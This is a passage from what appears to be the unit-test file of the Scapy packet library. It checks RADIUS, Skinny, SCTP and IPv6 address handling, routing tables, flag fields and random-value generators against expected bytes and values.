RadiusAttr_Message_Authenticator) assert(radius_packet.attributes[2].len == 18) assert(radius_packet.attributes[2].value == b'l0\xb9\x8d\xca\xfc!\xf3\xa7\x08\x80\xe1\xf6}\x84\xff') assert(radius_packet.attributes[3].type == 24) assert(type(radius_packet.attributes[3]) == RadiusAttr_State) assert(radius_packet.attributes[3].len == 18) assert(radius_packet.attributes[3].value == b'iQs\xf7hRb@k\x9d,\xa0\x99\x8ehO') = RADIUS - Response Authenticator computation s = b'\x01\xae\x01\x17>k\xd4\xc4\x19V\x0b*1\x99\xc8D\xea\xc2\x94Z\x01\x06leap\x06\x06\x00\x00\x00\x02\x1a\x1b\x00\x00\x00\t\x01\x15service-type=Framed\x0c\x06\x00\x00#\xee\x1e\x13AC-7E-8A-4E-E2-92\x1f\x1300-26-73-9E-0F-D3O\x0b\x02\x01\x00\t\x01leapP\x12U\xbc\x12\xcdM\x00\xf8\xdb4\xf1\x18r\xca_\x8c\xf6f\x02\x1a1\x00\x00\x00\t\x01+audit-session-id=0AC8090E0000001A0354CA00\x1a\x14\x00\x00\x00\t\x01\x0emethod=dot1x\x08\x06\xc0\xa8\n\xb9\x04\x06\xc0\xa8\n\x80\x1a\x1d\x00\x00\x00\t\x02\x17GigabitEthernet1/0/18W\x17GigabitEthernet1/0/18=\x06\x00\x00\x00\x0f\x05\x06\x00\x00\xc3\xc6' access_request = Radius(s) s = b'\x0b\xae\x00[\xc7\xae\xfc6\xa1=\xb5\x99&^\xdf=\xe9\x00\xa6\xe8\x12\rHello, leapO\x16\x01\x02\x00\x14\x11\x01\x00\x08\xb8\xc4\x1a4\x97x\xd3\x82leapP\x12\xd3\x12\x17\xa6\x0c.\x94\x85\x03]t\xd1\xdb\xd0\x13\x8c\x18\x12iQs\xf7iSb@k\x9d,\xa0\x99\x8ehO' access_challenge = Radius(s) access_challenge.compute_authenticator(access_request.authenticator, b"radiuskey") == access_challenge.authenticator = RADIUS - Layers (1) radius_attr = RadiusAttr_EAP_Message(value = EAP()) assert(RadiusAttr_EAP_Message in radius_attr) assert(RadiusAttribute in radius_attr) type(radius_attr[RadiusAttribute]) assert(type(radius_attr[RadiusAttribute]) == RadiusAttr_EAP_Message) assert(EAP in radius_attr.value) = RADIUS - sessions (1) p = IP()/TCP(sport=1812)/Radius(authenticator="scapy")/RadiusAttribute(value="scapy") l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = RADIUS - sessions (2) p = IP()/UDP(sport=1812)/Radius(authenticator="scapy")/RadiusAttribute(value="scapy") l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = Issue GH#1407 s = b"Z\xa5\xaaUZ\xa5\xaaU\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe9\xc5\x00\x00\x14'\x02\x00\x00\x001\x9a\xe44\xea4" isinstance(Radius(s), Radius) = RADIUS - attributes with IPv4 addresses r = raw(RadiusAttr_NAS_IP_Address()) p = RadiusAttr_NAS_IP_Address(r) assert p.type == 4 r = raw(RadiusAttr_Framed_IP_Address()) p = RadiusAttr_Framed_IP_Address(r) assert p.type == 8 = RadiusAttr_User_Password r = b'\x01\x00\x00\x1c0x10x20x30x40x50\x02\x08geheim' p = Radius(r) assert isinstance(p.attributes[0], RadiusAttr_User_Password) ############ ############ + Skinny tests = Skinny - build & dissection p = raw(IP(src="127.0.0.1")/TCP()/Skinny(msg="ServiceURLStatMessage")) assert p == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x07\xd0\x07\xd0\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00S3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/\x01\x00\x00' assert IP(p)[Skinny].msg == 303 ############ ############ + Addresses generators = Net n1 = Net("192.168.0.0/31") [ip for ip in n1] == ["192.168.0.0", "192.168.0.1"] n2 = Net("192.168.0.*") sum(1 for ip in n2) == 256 assert n2.__iterlen__() == 256 n3 = Net("192.168.0.1-5") sum(1 for ip in n3) == 5 assert n3.__iterlen__() == 5 (n1 == n3) == False (n3 in n2) == True = Net using web address ~ netaccess ip = IP(dst="www.google.com") n1 = ip.dst assert isinstance(n1, Net) assert n1.ip_regex.match(str(n1)) ip.show() = Multiple IP addresses test ~ netaccess ip = IP(dst=['192.168.0.1', 'www.google.fr'],ihl=(1,5)) assert ip.dst[0] == '192.168.0.1' assert isinstance(ip.dst[1], Net) src = ip.src assert src assert isinstance(src, str) = OID oid = OID("1.2.3.4.5.6-8") sum(1 for o in oid) == 3 assert oid.__iterlen__() == 3 = Net6 n1 = Net6("2001:db8::/127") sum(1 for ip in n1) == 2 n2 = Net6("fec0::/110") #len([x for x in n2]) returns 262144 (very slow) assert n2.__iterlen__() == 262144 = Net6 using web address ~ netaccess ipv6 ip = IPv6(dst="www.google.com") n1 = ip.dst assert isinstance(n1, Net6) assert n1.ip_regex.match(str(n1)) ip.show() ip = IPv6(dst="www.yahoo.com") addrs = [ip.dst, IPv6(raw(ip)).dst, [p.dst for p in ip][0]] assert addrs[0] == addrs[1] == addrs[2] = Multiple IPv6 addresses test ~ netaccess ipv6 ip = IPv6(dst=['2001:db8::1', 'www.google.fr'],hlim=(1,5)) assert ip.dst[0] == '2001:db8::1' assert isinstance(ip.dst[1], Net6) src = ip.src assert src assert isinstance(src, str) = Test repr on Net ~ netaccess conf.color_theme = BlackAndWhite() assert "Net('www.google.com')" in repr(IP(src="www.google.com")) = Test repr on Net ~ netaccess ipv6 conf.color_theme = BlackAndWhite() assert "Net6('www.google.com')" in repr(IPv6(src="www.google.com")) ############ ############ + IPv6 helpers = in6_getLocalUniquePrefix() p = in6_getLocalUniquePrefix() len(inet_pton(socket.AF_INET6, p)) == 16 and p.startswith("fd") = Misc addresses manipulation functions teredoAddrExtractInfo("2001:0:0a0b:0c0d:0028:f508:f508:08f5") == ("10.11.12.13", 40, "10.247.247.10", 2807) ip6 = IP6Field("test", None) ip6.i2repr("", "2001:0:0a0b:0c0d:0028:f508:f508:08f5") == "2001:0:0a0b:0c0d:0028:f508:f508:08f5 [Teredo srv: 10.11.12.13 cli: 10.247.247.10:2807]" ip6.i2repr("", "2002:0102:0304::1") == "2002:0102:0304::1 [6to4 GW: 1.2.3.4]" in6_iseui64("fe80::bae8:58ff:fed4:e5f6") == True in6_isanycast("2001:db8::fdff:ffff:ffff:ff80") == True a = inet_pton(socket.AF_INET6, "2001:db8::2807") in6_xor(a, a) == b"\x00" * 16 a = inet_pton(socket.AF_INET6, "fe80::bae8:58ff:fed4:e5f6") r = inet_ntop(socket.AF_INET6, in6_getnsma(a)) r == "ff02::1:ffd4:e5f6" in6_isllsnmaddr(r) == True in6_isdocaddr("2001:db8::2807") == True in6_isaddrllallnodes("ff02::1") == True in6_isaddrllallservers("ff02::2") == True = in6_getscope() assert in6_getscope("2001:db8::2807") == IPV6_ADDR_GLOBAL assert in6_getscope("fec0::2807") == IPV6_ADDR_SITELOCAL assert in6_getscope("fe80::2807") == IPV6_ADDR_LINKLOCAL assert in6_getscope("ff02::2807") == IPV6_ADDR_LINKLOCAL assert in6_getscope("ff0e::2807") == IPV6_ADDR_GLOBAL assert in6_getscope("ff05::2807") == IPV6_ADDR_SITELOCAL assert in6_getscope("ff01::2807") == IPV6_ADDR_LOOPBACK assert in6_getscope("::1") == IPV6_ADDR_LOOPBACK = construct_source_candidate_set() dev_addresses = [('fe80::', IPV6_ADDR_LINKLOCAL, "linklocal"),('fec0::', IPV6_ADDR_SITELOCAL, "sitelocal"),('ff0e::', IPV6_ADDR_GLOBAL, "global")] assert construct_source_candidate_set("2001:db8::2807", 0, dev_addresses) == ["ff0e::"] assert construct_source_candidate_set("fec0::2807", 0, dev_addresses) == ["fec0::"] assert construct_source_candidate_set("fe80::2807", 0, dev_addresses) == ["fe80::"] assert construct_source_candidate_set("ff02::2807", 0, dev_addresses) == ["fe80::"] assert construct_source_candidate_set("ff0e::2807", 0, dev_addresses) == ["ff0e::"] assert construct_source_candidate_set("ff05::2807", 0, dev_addresses) == ["fec0::"] assert construct_source_candidate_set("ff01::2807", 0, dev_addresses) == ["::1"] assert construct_source_candidate_set("::", 0, dev_addresses) == ["ff0e::"] = inet_pton() from scapy.pton_ntop import _inet6_pton, inet_pton import socket ip6_bad_addrs = ["fe80::2e67:ef2d:7eca::ed8a", "fe80:1234:abcd::192.168.40.12:abcd", "fe80:1234:abcd::192.168.40", "fe80:1234:abcd::192.168.400.12", "1234:5678:9abc:def0:1234:5678:9abc:def0:", "1234:5678:9abc:def0:1234:5678:9abc:def0:1234"] for ip6 in ip6_bad_addrs: rc = False exc1 = None try: res1 = inet_pton(socket.AF_INET6, ip6) except Exception as e: rc = True exc1 = e assert rc rc = False try: res2 = _inet6_pton(ip6) except Exception as exc2: rc = isinstance(exc2, type(exc1)) assert rc ip6_good_addrs = [("fe80:1234:abcd::192.168.40.12", b'\xfe\x80\x124\xab\xcd\x00\x00\x00\x00\x00\x00\xc0\xa8(\x0c'), ("fe80:1234:abcd::fe06", b'\xfe\x80\x124\xab\xcd\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x06'), ("fe80::2e67:ef2d:7ece:ed8a", b'\xfe\x80\x00\x00\x00\x00\x00\x00.g\xef-~\xce\xed\x8a'), ("::ffff", b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff'), ("ffff::", b'\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'), ('::', b'\x00' * 16)] for ip6, res in ip6_good_addrs: res1 = inet_pton(socket.AF_INET6, ip6) res2 = _inet6_pton(ip6) assert res == res1 == res2 ############ ############ + Test Route class = make_route() r4 = Route() tmp_route = r4.make_route(host="10.12.13.14") (tmp_route[0], tmp_route[1], tmp_route[2]) == (168561934, 4294967295, '0.0.0.0') tmp_route = r4.make_route(net="10.12.13.0/24") (tmp_route[0], tmp_route[1], tmp_route[2]) == (168561920, 4294967040, '0.0.0.0') = add() & delt() r4 = Route() len_r4 = len(r4.routes) r4.add(net="192.168.1.0/24", gw="1.2.3.4") len(r4.routes) == len_r4 + 1 r4.delt(net="192.168.1.0/24", gw="1.2.3.4") len(r4.routes) == len_r4 = ifchange() r4.add(net="192.168.1.0/24", gw="1.2.3.4", dev=get_dummy_interface()) r4.ifchange(get_dummy_interface(), "5.6.7.8") r4.routes[-1][4] == "5.6.7.8" = ifdel() r4.ifdel(get_dummy_interface()) len(r4.routes) == len_r4 = ifadd() & get_if_bcast() r4 = Route() len_r4 = len(r4.routes) r4.ifadd(get_dummy_interface(), "1.2.3.4/24") len(r4.routes) == len_r4 +1 r4.get_if_bcast(get_dummy_interface()) == "1.2.3.255" r4.ifdel(get_dummy_interface()) len(r4.routes) == len_r4 dummy_interface = get_dummy_interface() bck_conf_route_routes = conf.route.routes conf.route.routes = [ (0, 0, '172.21.230.1', dummy_interface, '172.21.230.10', 1), # 0.0.0.0 / 0.0.0.0 == 255.255.255.255 (2851995648, 4294901760, '0.0.0.0', dummy_interface, '172.21.230.10', 1), # 169.254.0.0 / 255.255.0.0 == 169.254.255.255 (2887116288, 4294967040, '0.0.0.0', dummy_interface, '172.21.230.10', 1), # 172.21.230.0 / 255.255.255.0 == 172.21.230.255 (2887116289, 4294967295, '0.0.0.0', dummy_interface, '172.21.230.10', 1), # 172.21.230.1 / 255.255.255.255 == 172.21.230.1 (3758096384, 4026531840, '0.0.0.0', dummy_interface, '172.21.230.10', 1), # 224.0.0.0 / 240.0.0.0 == 239.255.255.255 (3758096635, 4294967295, '0.0.0.0', dummy_interface, '172.21.230.10', 1), # 224.0.0.251 / 255.255.255.255 == 224.0.0.251 (4294967295, 4294967295, '0.0.0.0', dummy_interface, '172.21.230.10', 1), # 255.255.255.255 / 255.255.255.255 == 255.255.255.255 ] assert sorted(conf.route.get_if_bcast(dummy_interface)) == sorted(['169.254.255.255', '172.21.230.255', '239.255.255.255']) conf.route.routes = bck_conf_route_routes ############ ############ + Random objects = RandomEnumeration ren = RandomEnumeration(0, 7, seed=0x2807, forever=False) [x for x in ren] == ([3, 4, 2, 5, 1, 6, 0, 7] if six.PY2 else [5, 0, 2, 7, 6, 3, 1, 4]) = RandIP6 random.seed(0x2807) r6 = RandIP6() assert(r6 == ("d279:1205:e445:5a9f:db28:efc9:afd7:f594" if six.PY2 else "240b:238f:b53f:b727:d0f9:bfc4:2007:e265")) random.seed(0x2807) r6 = RandIP6("2001:db8::-") assert(r6 == ("2001:0db8::e445" if six.PY2 else "2001:0db8::b53f")) r6 = RandIP6("2001:db8::*") assert(r6 == ("2001:0db8::efc9" if six.PY2 else "2001:0db8::bfc4")) = RandMAC random.seed(0x2807) rm = RandMAC() assert(rm == ("d2:12:e4:5a:db:ef" if six.PY2 else "24:23:b5:b7:d0:bf")) rm = RandMAC("00:01:02:03:04:0-7") assert(rm == ("00:01:02:03:04:05" if six.PY2 else "00:01:02:03:04:01")) = RandOID random.seed(0x2807) ro = RandOID() assert(ro == "7.222.44.194.276.116.320.6.84.97.31.5.25.20.13.84.104.18") ro = RandOID("1.2.3.*") assert(ro == "1.2.3.41") ro = RandOID("1.2.3.0-28") assert(ro == ("1.2.3.11" if six.PY2 else "1.2.3.12")) = RandRegExp random.seed(0x2807) rex = RandRegExp("[g-v]* @? [0-9]{3} . (g|v)") bytes(rex) == ('vmuvr @ 906 \x9e g' if six.PY2 else b'irrtv @ 517 \xc2\xb8 v') rex = RandRegExp("[:digit:][:space:][:word:]") assert re.match(b"\\d\\s\\w", bytes(rex)) = Corrupted(Bytes|Bits) random.seed(0x2807) cb = CorruptedBytes("ABCDE", p=0.5) assert(sane(raw(cb)) in [".BCD)", "&BCDW"]) cb = CorruptedBits("ABCDE", p=0.2) assert(sane(raw(cb)) in ["ECk@Y", "QB.P."]) = RandEnumKeys random.seed(0x2807) rek = RandEnumKeys({'a': 1, 'b': 2, 'c': 3}, seed=0x2807) rek.enum.sort() r = str(rek) r assert(r == ('c' if six.PY2 else 'a')) = RandSingNum random.seed(0x2807) rs = RandSingNum(-28, 7)._fix() rs assert(rs in [2, 3]) = Rand* random.seed(0x2807) rss = RandSingString() assert(rss == ("CON:" if six.PY2 else "foo.exe:")) random.seed(0x2807) rts = RandTermString(4, "scapy") assert(sane(raw(rts)) in ["...Zscapy", "$#..scapy"]) = RandInt (test __bool__) a = "True" if RandNum(False, True) else "False" assert a in ["True", "False"] = Various volatiles random.seed(0x2807) assert RandNumGamma(1, 42)._fix() in (8, 73) random.seed(0x2807) assert RandNumGauss(1, 42) == 8 print("RandEnum()", RandEnum(1, 42, seed=0x2807)._fix()) assert RandEnum(1, 42, seed=0x2807) == (13 if six.PY2 else 37) print("RandPool()", RandPool((IncrementalValue(), 42), (IncrementalValue(), 0))._fix()) assert RandPool((IncrementalValue(), 42), (IncrementalValue(), 0)) == 0 print("DelayedEval()", DelayedEval("3 + 1")._fix()) assert DelayedEval("3 + 1") == 4 v = IncrementalValue(restart=2) assert v == 0 and v == 1 and v == 2 and v == 0 ############ ############ + Flags = IP flags ~ IP pkt = IP(flags="MF") assert pkt.flags.MF assert not pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' pkt.flags.MF = 0 pkt.flags.DF = 1 assert not pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' pkt.flags |= 'evil+MF' pkt.flags &= 'DF+MF' assert pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' pkt = IP(flags=3) assert pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' pkt.flags = 6 assert not pkt.flags.MF assert pkt.flags.DF assert pkt.flags.evil assert repr(pkt.flags) == '' assert len({IP().flags, IP().flags}) == 1 pkt = IP() pkt.flags = "" assert pkt.flags == 0 = TCP flags ~ TCP pkt = TCP(flags="SA") assert pkt.flags == 18 assert pkt.flags.S assert pkt.flags.A assert pkt.flags.SA assert not any(getattr(pkt.flags, f) for f in 'FRPUECN') assert repr(pkt.flags) == '' pkt.flags.U = True pkt.flags.S = False assert pkt.flags.A assert pkt.flags.U assert pkt.flags.AU assert not any(getattr(pkt.flags, f) for f in 'FSRPECN') assert repr(pkt.flags) == '' pkt.flags &= 'SFA' pkt.flags |= 'P' assert pkt.flags.P assert pkt.flags.A assert pkt.flags.PA assert not any(getattr(pkt.flags, f) for f in 'FSRUECN') pkt = TCP(flags=56) assert all(getattr(pkt.flags, f) for f in 'PAU') assert pkt.flags.PAU assert not any(getattr(pkt.flags, f) for f in 'FSRECN') assert repr(pkt.flags) == '' pkt.flags = 50 assert all(getattr(pkt.flags, f) for f in 'SAU') assert pkt.flags.SAU assert not any(getattr(pkt.flags, f) for f in 'FRPECN') assert repr(pkt.flags) == '' = Flag values mutation with .raw_packet_cache ~ IP TCP pkt = IP(raw(IP(flags="MF")/TCP(flags="SA"))) assert pkt.raw_packet_cache is not None assert pkt[TCP].raw_packet_cache is not None assert pkt.flags.MF assert not pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' assert pkt[TCP].flags.S assert pkt[TCP].flags.A assert pkt[TCP].flags.SA assert not any(getattr(pkt[TCP].flags, f) for f in 'FRPUECN') assert repr(pkt[TCP].flags) == '' pkt.flags.MF = 0 pkt.flags.DF = 1 pkt[TCP].flags.U = True pkt[TCP].flags.S = False pkt = IP(raw(pkt)) assert not pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' assert pkt[TCP].flags.A assert pkt[TCP].flags.U assert pkt[TCP].flags.AU assert not any(getattr(pkt[TCP].flags, f) for f in 'FSRPECN') assert repr(pkt[TCP].flags) == '' = Operations on flag values ~ TCP p1, p2 = TCP(flags="SU"), TCP(flags="AU") assert (p1.flags & p2.flags).U assert not any(getattr(p1.flags & p2.flags, f) for f in 'FSRPAECN') assert all(getattr(p1.flags | p2.flags, f) for f in 'SAU') assert (p1.flags | p2.flags).SAU assert not any(getattr(p1.flags | p2.flags, f) for f in 'FRPECN') assert TCP(flags="SA").flags & TCP(flags="S").flags == TCP(flags="S").flags assert TCP(flags="SA").flags | TCP(flags="S").flags == TCP(flags="SA").flags ############ ############ + SCTP = SCTP - Chunk Init - build s = raw(IP()/SCTP()/SCTPChunkInit(params=[SCTPChunkParamIPv4Addr()])) s == b'E\x00\x00<\x00\x01\x00\x00@\x84|;\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00@,\x0b_\x01\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x08\x7f\x00\x00\x01' = SCTP - Chunk Init - dissection p = IP(s) SCTPChunkParamIPv4Addr in p and p[SCTP].chksum == 0x402c0b5f and p[SCTPChunkParamIPv4Addr].addr == "127.0.0.1" = SCTP - SCTPChunkSACK - build s = raw(IP()/SCTP()/SCTPChunkSACK(gap_ack_list=["7:28"])) s == b'E\x00\x004\x00\x01\x00\x00@\x84|C\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00;\x01\xd4\x04\x03\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x1c' = SCTP - SCTPChunkSACK - dissection p = IP(s) SCTPChunkSACK in p and p[SCTP].chksum == 0x3b01d404 and p[SCTPChunkSACK].gap_ack_list[0] == "7:28" = SCTP - answers (IP()/SCTP()).answers(IP()/SCTP()) == True = SCTP basic header - Dissection ~ sctp blob = b"\x1A\x85\x26\x94\x00\x00\x00\x0D\x00\x00\x04\xD2" p = SCTP(blob) assert(p.dport == 9876) assert(p.sport == 6789) assert(p.tag == 13) assert(p.chksum == 1234) = basic SCTPChunkData - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x61\x74\x61" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkData)) assert(p.reserved == 0) assert(p.delay_sack == 0) assert(p.unordered == 0) assert(p.beginning == 0) assert(p.ending == 0) assert(p.tsn == 0) assert(p.stream_id == 0) assert(p.stream_seq == 0) assert(p.len == (len("data") + 16)) assert(p.data == b"data") = basic SCTPChunkInit - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkInit)) assert(p.flags == 0) assert(p.len == 20) assert(p.init_tag == 0) assert(p.a_rwnd == 0) assert(p.n_out_streams == 0) assert(p.n_in_streams == 0) assert(p.init_tsn == 0) assert(p.params == []) = SCTPChunkInit multiple valid parameters - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x5C\x00\x00\x00\x65\x00\x00\x00\x66\x00\x67\x00\x68\x00\x00\x00\x69\x00\x0C\x00\x06\x00\x05\x00\x00\x80\x00\x00\x04\xC0\x00\x00\x04\x80\x08\x00\x07\x0F\xC1\x80\x00\x80\x03\x00\x04\x80\x02\x00\x24\x87\x77\x21\x29\x3F\xDA\x62\x0C\x06\x6F\x10\xA5\x39\x58\x60\x98\x4C\xD4\x59\xD8\x8A\x00\x85\xFB\x9E\x2E\x66\xBA\x3A\x23\x54\xEF\x80\x04\x00\x06\x00\x01\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkInit)) assert(p.flags == 0) assert(p.len == 92) assert(p.init_tag == 101) assert(p.a_rwnd == 102) assert(p.n_out_streams == 103) assert(p.n_in_streams == 104) assert(p.init_tsn == 105) assert(len(p.params) == 7) params = {type(param): param for param in p.params} assert(set(params.keys()) == {SCTPChunkParamECNCapable, SCTPChunkParamFwdTSN, SCTPChunkParamSupportedExtensions, SCTPChunkParamChunkList, SCTPChunkParamRandom, SCTPChunkParamRequestedHMACFunctions, SCTPChunkParamSupportedAddrTypes}) assert(params[SCTPChunkParamECNCapable] == SCTPChunkParamECNCapable()) assert(params[SCTPChunkParamFwdTSN] == SCTPChunkParamFwdTSN()) assert(params[SCTPChunkParamSupportedExtensions] == SCTPChunkParamSupportedExtensions(len=7)) assert(params[SCTPChunkParamChunkList] == SCTPChunkParamChunkList(len=4)) assert(params[SCTPChunkParamRandom].len == 4+32) assert(len(params[SCTPChunkParamRandom].random) == 32) assert(params[SCTPChunkParamRequestedHMACFunctions] == SCTPChunkParamRequestedHMACFunctions(len=6)) assert(params[SCTPChunkParamSupportedAddrTypes] == SCTPChunkParamSupportedAddrTypes(len=6)) = basic SCTPChunkInitAck - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkInitAck)) assert(p.flags == 0) assert(p.len == 20) assert(p.init_tag == 0) assert(p.a_rwnd == 0) assert(p.n_out_streams == 0) assert(p.n_in_streams == 0) assert(p.init_tsn == 0) assert(p.params == []) = SCTPChunkInitAck with state cookie - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x4C\x00\x00\x00\x65\x00\x00\x00\x66\x00\x67\x00\x68\x00\x00\x00\x69\x80\x00\x00\x04\x00\x0B\x00\x0D\x6C\x6F\x63\x61\x6C\x68\x6F\x73\x74\x00\x00\x00\xC0\x00\x00\x04\x80\x08\x00\x07\x0F\xC1\x80\x00\x00\x07\x00\x14\x00\x10\x9E\xB2\x86\xCE\xE1\x7D\x0F\x6A\xAD\xFD\xB3\x5D\xBC\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkInitAck)) assert(p.flags == 0) assert(p.len == 76) assert(p.init_tag == 101) assert(p.a_rwnd == 102) assert(p.n_out_streams == 103) assert(p.n_in_streams == 104) assert(p.init_tsn == 105) assert(len(p.params) == 5) params = {type(param): param for param in p.params} assert(set(params.keys()) == {SCTPChunkParamECNCapable, SCTPChunkParamHostname, SCTPChunkParamFwdTSN, SCTPChunkParamSupportedExtensions, SCTPChunkParamStateCookie}) assert(params[SCTPChunkParamECNCapable] == SCTPChunkParamECNCapable()) assert(raw(params[SCTPChunkParamHostname]) == raw(SCTPChunkParamHostname(len=13, hostname="localhost"))) assert(params[SCTPChunkParamFwdTSN] == SCTPChunkParamFwdTSN()) assert(params[SCTPChunkParamSupportedExtensions] == SCTPChunkParamSupportedExtensions(len=7)) assert(params[SCTPChunkParamStateCookie].len == 4+16) assert(len(params[SCTPChunkParamStateCookie].cookie) == 16) = basic SCTPChunkSACK - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkSACK)) assert(p.flags == 0) assert(p.len == 16) assert(p.cumul_tsn_ack == 0) assert(p.a_rwnd == 0) assert(p.n_gap_ack == 0) assert(p.n_dup_tsn == 0) assert(p.gap_ack_list == []) assert(p.dup_tsn_list == []) = basic SCTPChunkHeartbeatReq - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkHeartbeatReq)) assert(p.flags == 0) assert(p.len == 4) assert(p.params == []) = basic SCTPChunkHeartbeatAck - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkHeartbeatAck)) assert(p.flags == 0) assert(p.len == 4) assert(p.params == []) = basic SCTPChunkAbort - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkAbort)) assert(p.reserved == 0) assert(p.TCB == 0) assert(p.len == 4) assert(p.error_causes == b"") = basic SCTPChunkShutDown - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x08\x00\x00\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkShutdown)) assert(p.flags == 0) assert(p.len == 8) assert(p.cumul_tsn_ack == 0) = basic SCTPChunkShutDownAck - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkShutdownAck)) assert(p.flags == 0) assert(p.len == 4) = basic SCTPChunkError - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkError)) assert(p.flags == 0) assert(p.len == 4) assert(p.error_causes == b"") = basic SCTPChunkCookieEcho - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkCookieEcho)) assert(p.flags == 0) assert(p.len == 4) assert(p.cookie == b"") = basic SCTPChunkCookieAck - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkCookieAck)) assert(p.flags == 0) assert(p.len == 4) = basic SCTPChunkShutdownComplete - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0E\x00\x00\x04" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkShutdownComplete)) assert(p.reserved == 0) assert(p.TCB == 0) assert(p.len == 4) = basic SCTPChunkAuthentication - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x08\x00\x00\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkAuthentication)) assert(p.flags == 0) assert(p.len == 8) assert(p.shared_key_id == 0) assert(p.HMAC_function == 0) = basic SCTPChunkAddressConf - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc1\x00\x00\x08\x00\x00\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkAddressConf)) assert(p.flags == 0) assert(p.len == 8) assert(p.seq == 0) assert(p.params == []) = basic SCTPChunkAddressConfAck - Dissection ~ sctp blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x08\x00\x00\x00\x00" p = SCTP(blob).lastlayer() assert(isinstance(p, SCTPChunkAddressConfAck)) assert(p.flags == 0) assert(p.len == 8) assert(p.seq == 0) assert(p.params == []) = SCTPChunkParamRandom - Consecutive calls ~ sctp param1, param2 = SCTPChunkParamRandom(), SCTPChunkParamRandom() assert(param1.random != param2.random) ############ ############ + DHCP = BOOTP - misc assert BOOTP().answers(BOOTP()) assert 